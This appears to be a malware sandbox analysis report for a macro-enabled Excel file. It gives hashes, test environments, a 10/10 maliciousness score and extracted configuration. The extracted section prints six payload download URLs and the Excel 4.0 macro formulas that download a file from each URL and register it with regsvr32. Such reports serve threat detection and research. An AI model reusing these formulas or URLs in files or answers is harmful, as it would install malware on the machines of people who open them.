General
-
Target
cdf6f054cb55d83ab28b3c92a5cad7b69cc30009cf36b1324afd4add51958c82
-
Size
45KB
-
Sample
241120-xbj77swjgn
-
MD5
4b85be40f27be0911fc3f27863711c9f
-
SHA1
e481ae69259480976f3825baa44c96647ce243a7
-
SHA256
cdf6f054cb55d83ab28b3c92a5cad7b69cc30009cf36b1324afd4add51958c82
-
SHA512
56556b12098e9d503ca09e1cbcf5fb2d398f7a6ef13189bbf31889a4c4d62f434f7c7a72b39fcda6e6edb7670240a58b9f6858acf67e3e414aac1980ea3faf43
-
SSDEEP
768:a+oDxDOevZCwrvt8zdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Ud0U2XCnM:loDxD8tT5fTR4Lh1NisFYBc3cr+U2USz
Behavioral task
behavioral1
Sample
cdf6f054cb55d83ab28b3c92a5cad7b69cc30009cf36b1324afd4add51958c82.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
cdf6f054cb55d83ab28b3c92a5cad7b69cc30009cf36b1324afd4add51958c82.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
http://api.zmotpro.com/totalenvironment/logs/8wdgNaq0x/
http://aetoaluminium.com/wp-admin/gkqyKlzXoc/
http://24studypoint.com/wp-admin/3uEUtb/
https://baicc-ct.org/wp-admin/IwhcfC2sdxoToa/
https://mustknew.com/lovecalculator/osDBhPqx0tB1Vtp/
http://kiski023.com/wp-includes/Requests/Cookie/C/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://api.zmotpro.com/totalenvironment/logs/8wdgNaq0x/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aetoaluminium.com/wp-admin/gkqyKlzXoc/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://24studypoint.com/wp-admin/3uEUtb/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://baicc-ct.org/wp-admin/IwhcfC2sdxoToa/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mustknew.com/lovecalculator/osDBhPqx0tB1Vtp/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kiski023.com/wp-includes/Requests/Cookie/C/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()
Extracted
http://api.zmotpro.com/totalenvironment/logs/8wdgNaq0x/
http://aetoaluminium.com/wp-admin/gkqyKlzXoc/
http://24studypoint.com/wp-admin/3uEUtb/
https://baicc-ct.org/wp-admin/IwhcfC2sdxoToa/
https://mustknew.com/lovecalculator/osDBhPqx0tB1Vtp/
http://kiski023.com/wp-includes/Requests/Cookie/C/
Targets
-
-
Target
cdf6f054cb55d83ab28b3c92a5cad7b69cc30009cf36b1324afd4add51958c82
-
Size
45KB
-
MD5
4b85be40f27be0911fc3f27863711c9f
-
SHA1
e481ae69259480976f3825baa44c96647ce243a7
-
SHA256
cdf6f054cb55d83ab28b3c92a5cad7b69cc30009cf36b1324afd4add51958c82
-
SHA512
56556b12098e9d503ca09e1cbcf5fb2d398f7a6ef13189bbf31889a4c4d62f434f7c7a72b39fcda6e6edb7670240a58b9f6858acf67e3e414aac1980ea3faf43
-
SSDEEP
768:a+oDxDOevZCwrvt8zdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Ud0U2XCnM:loDxD8tT5fTR4Lh1NisFYBc3cr+U2USz
Score10/10 -